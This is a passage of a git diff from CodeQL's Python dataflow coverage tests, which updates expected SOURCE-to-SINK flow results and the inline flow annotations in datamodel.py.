ControlFlowNode for SOURCE | datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | -| datamodel.py:73:18:73:23 | ControlFlowNode for SOURCE | datamodel.py:81:20:81:25 | ControlFlowNode for SOURCE | | datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | -| datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | datamodel.py:81:20:81:25 | ControlFlowNode for SOURCE | | datamodel.py:81:20:81:25 | ControlFlowNode for SOURCE | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | | datamodel.py:152:5:152:8 | [post store] ControlFlowNode for self [Attribute b] | datamodel.py:155:14:155:25 | ControlFlowNode for Customized() [Attribute b] | | datamodel.py:152:14:152:19 | ControlFlowNode for SOURCE | datamodel.py:152:5:152:8 | [post store] ControlFlowNode for self [Attribute b] | | datamodel.py:155:14:155:25 | ControlFlowNode for Customized() [Attribute b] | datamodel.py:159:6:159:15 | ControlFlowNode for customized [Attribute b] | | datamodel.py:159:6:159:15 | ControlFlowNode for customized [Attribute b] | datamodel.py:159:6:159:17 | ControlFlowNode for Attribute | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:42:21:42:26 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:55:9:55:14 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:87:10:87:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:93:10:93:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:103:10:103:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:108:22:108:27 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:113:10:113:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:125:10:125:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:130:10:130:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:135:22:135:27 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:140:10:140:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:152:15:152:20 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:157:15:157:20 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:183:23:183:28 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:188:25:188:30 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:199:34:199:39 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:336:11:336:16 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:340:11:340:16 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:344:16:344:21 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:367:28:367:33 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:375:30:375:35 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:383:36:383:41 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:391:33:391:38 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:399:39:399:44 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:420:10:420:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:428:34:428:39 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:452:12:452:17 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:459:28:459:33 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:473:30:473:35 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:487:36:487:41 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:492:33:492:38 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:497:39:497:44 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:509:9:509:14 | ControlFlowNode for SOURCE | -| test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | -| test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | | test.py:42:10:42:26 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:43:9:43:9 | ControlFlowNode for x [Tuple element at index 1] | | test.py:42:21:42:26 | ControlFlowNode for SOURCE | test.py:42:10:42:26 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:43:9:43:9 | ControlFlowNode for x [Tuple element at index 1] | test.py:43:9:43:12 | ControlFlowNode for Subscript | @@ -180,16 +125,12 @@ edges | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | nodes -| datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | -| datamodel.py:13:1:13:6 | GSSA Variable SOURCE | semmle.label | GSSA Variable SOURCE | -| datamodel.py:13:10:13:17 | ControlFlowNode for Str | semmle.label | ControlFlowNode for Str | | datamodel.py:38:6:38:17 | ControlFlowNode for f() | semmle.label | ControlFlowNode for f() | | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| datamodel.py:73:18:73:23 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | @@ -199,9 +140,6 @@ nodes | datamodel.py:155:14:155:25 | ControlFlowNode for Customized() [Attribute b] | semmle.label | ControlFlowNode for Customized() [Attribute b] | | datamodel.py:159:6:159:15 | ControlFlowNode for customized [Attribute b] | semmle.label | ControlFlowNode for customized [Attribute b] | | datamodel.py:159:6:159:17 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module test | -| test.py:20:1:20:6 | GSSA Variable SOURCE | semmle.label | GSSA Variable SOURCE | -| test.py:20:10:20:17 | ControlFlowNode for Str | semmle.label | ControlFlowNode for Str | | test.py:42:10:42:26 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:42:21:42:26 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:43:9:43:9 | ControlFlowNode for x [Tuple element at index 1] | semmle.label | ControlFlowNode for x [Tuple element at index 1] | @@ -356,99 +294,47 @@ nodes | test.py:511:10:511:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:516:10:516:10 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | #select -| datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | -| datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | Flow found | | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | Flow found | | datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | datamodel.py:72:6:72:27 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | datamodel.py:73:18:73:23 | ControlFlowNode for SOURCE | datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | Flow found | | datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | datamodel.py:80:6:80:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | datamodel.py:72:18:72:23 | ControlFlowNode for SOURCE | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | datamodel.py:73:18:73:23 | ControlFlowNode for SOURCE | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | datamodel.py:80:20:80:25 | ControlFlowNode for SOURCE | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | Flow found | | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | datamodel.py:81:20:81:25 | ControlFlowNode for SOURCE | datamodel.py:81:6:81:26 | ControlFlowNode for Attribute() | Flow found | -| datamodel.py:159:6:159:17 | ControlFlowNode for Attribute | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:159:6:159:17 | ControlFlowNode for Attribute | Flow found | | datamodel.py:159:6:159:17 | ControlFlowNode for Attribute | datamodel.py:152:14:152:19 | ControlFlowNode for SOURCE | datamodel.py:159:6:159:17 | ControlFlowNode for Attribute | Flow found | -| test.py:44:10:44:10 | ControlFlowNode for y | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:44:10:44:10 | ControlFlowNode for y | Flow found | | test.py:44:10:44:10 | ControlFlowNode for y | test.py:42:21:42:26 | ControlFlowNode for SOURCE | test.py:44:10:44:10 | ControlFlowNode for y | Flow found | -| test.py:56:10:56:10 | ControlFlowNode for x | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:56:10:56:10 | ControlFlowNode for x | Flow found | | test.py:56:10:56:10 | ControlFlowNode for x | test.py:55:9:55:14 | ControlFlowNode for SOURCE | test.py:56:10:56:10 | ControlFlowNode for x | Flow found | | test.py:62:10:62:10 | ControlFlowNode for x | test.py:61:9:61:16 | ControlFlowNode for Str | test.py:62:10:62:10 | ControlFlowNode for x | Flow found | | test.py:67:10:67:10 | ControlFlowNode for x | test.py:66:9:66:17 | ControlFlowNode for Str | test.py:67:10:67:10 | ControlFlowNode for x | Flow found | | test.py:72:10:72:10 | ControlFlowNode for x | test.py:71:9:71:10 | ControlFlowNode for IntegerLiteral | test.py:72:10:72:10 | ControlFlowNode for x | Flow found | | test.py:77:10:77:10 | ControlFlowNode for x | test.py:76:9:76:12 | ControlFlowNode for FloatLiteral | test.py:77:10:77:10 | ControlFlowNode for x | Flow found | -| test.py:88:10:88:10 | ControlFlowNode for x | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:88:10:88:10 | ControlFlowNode for x | Flow found | | test.py:88:10:88:10 | ControlFlowNode for x | test.py:87:10:87:15 | ControlFlowNode for SOURCE | test.py:88:10:88:10 | ControlFlowNode for x | Flow found | -| test.py:94:10:94:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:94:10:94:13 | ControlFlowNode for Subscript | Flow found | | test.py:94:10:94:13 | ControlFlowNode for Subscript | test.py:93:10:93:15 | ControlFlowNode for SOURCE | test.py:94:10:94:13 | ControlFlowNode for Subscript | Flow found | -| test.py:104:10:104:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:104:10:104:13 | ControlFlowNode for Subscript | Flow found | | test.py:104:10:104:13 | ControlFlowNode for Subscript | test.py:103:10:103:15 | ControlFlowNode for SOURCE | test.py:104:10:104:13 | ControlFlowNode for Subscript | Flow found | -| test.py:109:10:109:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:109:10:109:13 | ControlFlowNode for Subscript | Flow found | | test.py:109:10:109:13 | ControlFlowNode for Subscript | test.py:108:22:108:27 | ControlFlowNode for SOURCE | test.py:109:10:109:13 | ControlFlowNode for Subscript | Flow found | -| test.py:115:10:115:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:115:10:115:13 | ControlFlowNode for Subscript | Flow found | | test.py:115:10:115:13 | ControlFlowNode for Subscript | test.py:113:10:113:15 | ControlFlowNode for SOURCE | test.py:115:10:115:13 | ControlFlowNode for Subscript | Flow found | -| test.py:126:10:126:16 | ControlFlowNode for Attribute() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:126:10:126:16 | ControlFlowNode for Attribute() | Flow found | | test.py:126:10:126:16 | ControlFlowNode for Attribute() | test.py:125:10:125:15 | ControlFlowNode for SOURCE | test.py:126:10:126:16 | ControlFlowNode for Attribute() | Flow found | -| test.py:131:10:131:16 | ControlFlowNode for Attribute() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:131:10:131:16 | ControlFlowNode for Attribute() | Flow found | | test.py:131:10:131:16 | ControlFlowNode for Attribute() | test.py:130:10:130:15 | ControlFlowNode for SOURCE | test.py:131:10:131:16 | ControlFlowNode for Attribute() | Flow found | -| test.py:136:10:136:16 | ControlFlowNode for Attribute() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:136:10:136:16 | ControlFlowNode for Attribute() | Flow found | | test.py:136:10:136:16 | ControlFlowNode for Attribute() | test.py:135:22:135:27 | ControlFlowNode for SOURCE | test.py:136:10:136:16 | ControlFlowNode for Attribute() | Flow found | -| test.py:142:10:142:16 | ControlFlowNode for Attribute() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:142:10:142:16 | ControlFlowNode for Attribute() | Flow found | | test.py:142:10:142:16 | ControlFlowNode for Attribute() | test.py:140:10:140:15 | ControlFlowNode for SOURCE | test.py:142:10:142:16 | ControlFlowNode for Attribute() | Flow found | -| test.py:153:10:153:15 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:153:10:153:15 | ControlFlowNode for Subscript | Flow found | | test.py:153:10:153:15 | ControlFlowNode for Subscript | test.py:152:15:152:20 | ControlFlowNode for SOURCE | test.py:153:10:153:15 | ControlFlowNode for Subscript | Flow found | -| test.py:158:10:158:19 | ControlFlowNode for Attribute() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:158:10:158:19 | ControlFlowNode for Attribute() | Flow found | | test.py:158:10:158:19 | ControlFlowNode for Attribute() | test.py:157:15:157:20 | ControlFlowNode for SOURCE | test.py:158:10:158:19 | ControlFlowNode for Attribute() | Flow found | -| test.py:184:10:184:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:184:10:184:13 | ControlFlowNode for Subscript | Flow found | | test.py:184:10:184:13 | ControlFlowNode for Subscript | test.py:183:23:183:28 | ControlFlowNode for SOURCE | test.py:184:10:184:13 | ControlFlowNode for Subscript | Flow found | -| test.py:189:10:189:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:189:10:189:13 | ControlFlowNode for Subscript | Flow found | | test.py:189:10:189:13 | ControlFlowNode for Subscript | test.py:188:25:188:30 | ControlFlowNode for SOURCE | test.py:189:10:189:13 | ControlFlowNode for Subscript | Flow found | -| test.py:200:10:200:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:200:10:200:13 | ControlFlowNode for Subscript | Flow found | | test.py:200:10:200:13 | ControlFlowNode for Subscript | test.py:199:34:199:39 | ControlFlowNode for SOURCE | test.py:200:10:200:13 | ControlFlowNode for Subscript | Flow found | -| test.py:336:10:336:21 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:336:10:336:21 | ControlFlowNode for Subscript | Flow found | | test.py:336:10:336:21 | ControlFlowNode for Subscript | test.py:336:11:336:16 | ControlFlowNode for SOURCE | test.py:336:10:336:21 | ControlFlowNode for Subscript | Flow found | -| test.py:340:10:340:20 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:340:10:340:20 | ControlFlowNode for Subscript | Flow found | | test.py:340:10:340:20 | ControlFlowNode for Subscript | test.py:340:11:340:16 | ControlFlowNode for SOURCE | test.py:340:10:340:20 | ControlFlowNode for Subscript | Flow found | -| test.py:344:10:344:27 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:344:10:344:27 | ControlFlowNode for Subscript | Flow found | | test.py:344:10:344:27 | ControlFlowNode for Subscript | test.py:344:16:344:21 | ControlFlowNode for SOURCE | test.py:344:10:344:27 | ControlFlowNode for Subscript | Flow found | -| test.py:367:10:367:34 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:367:10:367:34 | ControlFlowNode for second() | Flow found | | test.py:367:10:367:34 | ControlFlowNode for second() | test.py:367:28:367:33 | ControlFlowNode for SOURCE | test.py:367:10:367:34 | ControlFlowNode for second() | Flow found | -| test.py:375:10:375:36 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:375:10:375:36 | ControlFlowNode for second() | Flow found | | test.py:375:10:375:36 | ControlFlowNode for second() | test.py:375:30:375:35 | ControlFlowNode for SOURCE | test.py:375:10:375:36 | ControlFlowNode for second() | Flow found | -| test.py:383:10:383:43 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:383:10:383:43 | ControlFlowNode for second() | Flow found | | test.py:383:10:383:43 | ControlFlowNode for second() | test.py:383:36:383:41 | ControlFlowNode for SOURCE | test.py:383:10:383:43 | ControlFlowNode for second() | Flow found | -| test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | Flow found | | test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | test.py:391:33:391:38 | ControlFlowNode for SOURCE | test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | Flow found | | test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | test.py:399:39:399:44 | ControlFlowNode for SOURCE | test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:420:10:420:38 | ControlFlowNode for IfExp | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:420:10:420:38 | ControlFlowNode for IfExp | Flow found | | test.py:420:10:420:38 | ControlFlowNode for IfExp | test.py:420:10:420:15 | ControlFlowNode for SOURCE | test.py:420:10:420:38 | ControlFlowNode for IfExp | Flow found | -| test.py:428:10:428:39 | ControlFlowNode for IfExp | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:428:10:428:39 | ControlFlowNode for IfExp | Flow found | | test.py:428:10:428:39 | ControlFlowNode for IfExp | test.py:428:34:428:39 | ControlFlowNode for SOURCE | test.py:428:10:428:39 | ControlFlowNode for IfExp | Flow found | -| test.py:452:10:452:18 | ControlFlowNode for f() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:452:10:452:18 | ControlFlowNode for f() | Flow found | | test.py:452:10:452:18 | ControlFlowNode for f() | test.py:452:12:452:17 | ControlFlowNode for SOURCE | test.py:452:10:452:18 | ControlFlowNode for f() | Flow found | -| test.py:459:10:459:34 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:459:10:459:34 | ControlFlowNode for second() | Flow found | | test.py:459:10:459:34 | ControlFlowNode for second() | test.py:459:28:459:33 | ControlFlowNode for SOURCE | test.py:459:10:459:34 | ControlFlowNode for second() | Flow found | -| test.py:473:10:473:36 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:473:10:473:36 | ControlFlowNode for second() | Flow found | | test.py:473:10:473:36 | ControlFlowNode for second() | test.py:473:30:473:35 | ControlFlowNode for SOURCE | test.py:473:10:473:36 | ControlFlowNode for second() | Flow found | -| test.py:487:10:487:43 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:487:10:487:43 | ControlFlowNode for second() | Flow found | | test.py:487:10:487:43 | ControlFlowNode for second() | test.py:487:36:487:41 | ControlFlowNode for SOURCE | test.py:487:10:487:43 | ControlFlowNode for second() | Flow found | -| test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | Flow found | | test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | test.py:492:33:492:38 | ControlFlowNode for SOURCE | test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | Flow found | | test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | test.py:497:39:497:44 | ControlFlowNode for SOURCE | test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:511:10:511:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:511:10:511:10 | ControlFlowNode for a | Flow found | | test.py:511:10:511:10 | ControlFlowNode for a | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | Flow found | -| test.py:516:10:516:10 | ControlFlowNode for b | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | | test.py:516:10:516:10 | ControlFlowNode for b | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/datamodel.py b/python/ql/test/experimental/dataflow/coverage/datamodel.py index 0d921a2cb85..3f11593dbd1 100644 --- a/python/ql/test/experimental/dataflow/coverage/datamodel.py +++ b/python/ql/test/experimental/dataflow/coverage/datamodel.py @@ -35,7 +35,7 @@ def SINK_F(x): def f(a, b): return a -SINK(f(SOURCE, 3)) #$ flow="SOURCE -> f(..)" flow="'source', l:13 -> f(..)" +SINK(f(SOURCE, 3)) #$ flow="SOURCE -> f(..)" # Instance methods # An instance method object combines a class, a class instance and any callable object (normally a user-defined function). @@ -68,18 +68,18 @@ c = C() func_obj = c.method.__func__ # When an instance method object is called, the underlying function (__func__) is called, inserting the class instance (__self__) in front of the argument list. For instance, when C is a class which contains a definition for a function f(), and x is an instance of C, calling x.f(1) is equivalent to calling C.f(x, 1). -SINK(c.method(SOURCE, C)) #$ flow="SOURCE -> c.method(..)" flow="SOURCE, l:38 -> c.method(..)" flow="'source', l:13 -> c.method(..)" -SINK(C.method(c, SOURCE, C)) #$ flow="SOURCE -> C.method(..)" flow="SOURCE, l:38 -> C.method(..)" flow="SOURCE, l:71 -> C.method(..)" flow="'source', l:13 -> C.method(..)" -SINK(func_obj(c, SOURCE, C)) #$ MISSING: flow="SOURCE -> func_obj(..)" flow="SOURCE, l:38 -> func_obj(..)" flow="SOURCE, l:71 -> func_obj(..)" flow="SOURCE, l:72 -> func_obj(..)" flow="'source', l:13 -> func_obj()" +SINK(c.method(SOURCE, C)) #$ flow="SOURCE -> c.method(..)" +SINK(C.method(c, SOURCE, C)) #$ flow="SOURCE -> C.method(..)" +SINK(func_obj(c, SOURCE, C)) #$ MISSING: flow="SOURCE -> func_obj(..)" # When an instance method object is created by retrieving a class method object from a class or instance, its __self__ attribute is the class itself, and its __func__ attribute is the function object underlying the class method. c_func_obj = C.classmethod.__func__ # When an instance method object is derived from a class method object, the “class instance” stored in __self__ will actually be the class itself, so that calling either x.f(1) or C.f(1) is equivalent to calling f(C,1) where f is the underlying function. -SINK(c.classmethod(SOURCE)) #$ flow="SOURCE -> c.classmethod(..)" flow="SOURCE, l:38 -> c.classmethod(..)" flow="SOURCE, l:71 -> c.classmethod(..)" flow="SOURCE, l:72 -> c.classmethod(..)" flow="SOURCE, l:73 -> c.classmethod(..)" flow="'source', l:13 -> c.classmethod(..)" -SINK(C.classmethod(SOURCE)) #$ flow="SOURCE -> C.classmethod(..)" flow="SOURCE, l:38 -> C.classmethod(..)" flow="SOURCE, l:71 -> C.classmethod(..)" flow="SOURCE, l:72 -> C.classmethod(..)" flow="SOURCE, l:73 -> C.classmethod(..)" flow="SOURCE, l:80 -> C.classmethod(..)" flow="'source', l:13 -> C.classmethod(..)" -SINK(c_func_obj(C, SOURCE)) #$ MISSING: flow="SOURCE -> c_func_obj(..)" flow="SOURCE, l:38 -> c_func_obj(..)" flow="SOURCE, l:71 -> c_func_obj(..)" flow="SOURCE, l:72 -> c_func_obj(..)" flow="SOURCE, l:73 -> c_func_obj(..)" flow="SOURCE, l:80 -> c_func_obj(..)" flow="SOURCE, l:81 -> c_func_obj(..)" flow="'source', l:13 -> c_func_obj()" +SINK(c.classmethod(SOURCE)) #$ flow="SOURCE -> c.classmethod(..)" +SINK(C.classmethod(SOURCE)) #$ flow="SOURCE -> C.classmethod(..)" +SINK(c_func_obj(C, SOURCE)) #$ MISSING: flow="SOURCE -> c_func_obj(..)" # Generator functions # A function or method which uses the yield statement (see section The yield statement) is called a generator function. Such a function, when called, always returns an iterator object which can be used to 